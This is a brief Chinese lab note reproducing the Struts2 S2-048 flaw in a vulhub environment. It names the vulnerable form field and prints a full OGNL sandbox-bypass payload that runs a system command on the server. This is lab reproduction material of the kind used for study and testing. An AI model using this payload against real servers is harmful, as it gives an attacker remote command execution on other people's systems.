漏洞简介
影响版本: 2.0.0 - 2.3.32
详细请看:https://github.com/vulhub/vulhub/blob/master/struts2/s2-048/README.zh-cn.md
漏洞复现
我用的是vulhub的环境,访问http://your_Ip:8080/integration/editGangster.action
页面,触发OGNL表达式的位置是Gangster Name
这个表单,在vulhub的文章中,作者改了S2-045的沙盒绕过的POC,直接将POC填入表单即可运行命令:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}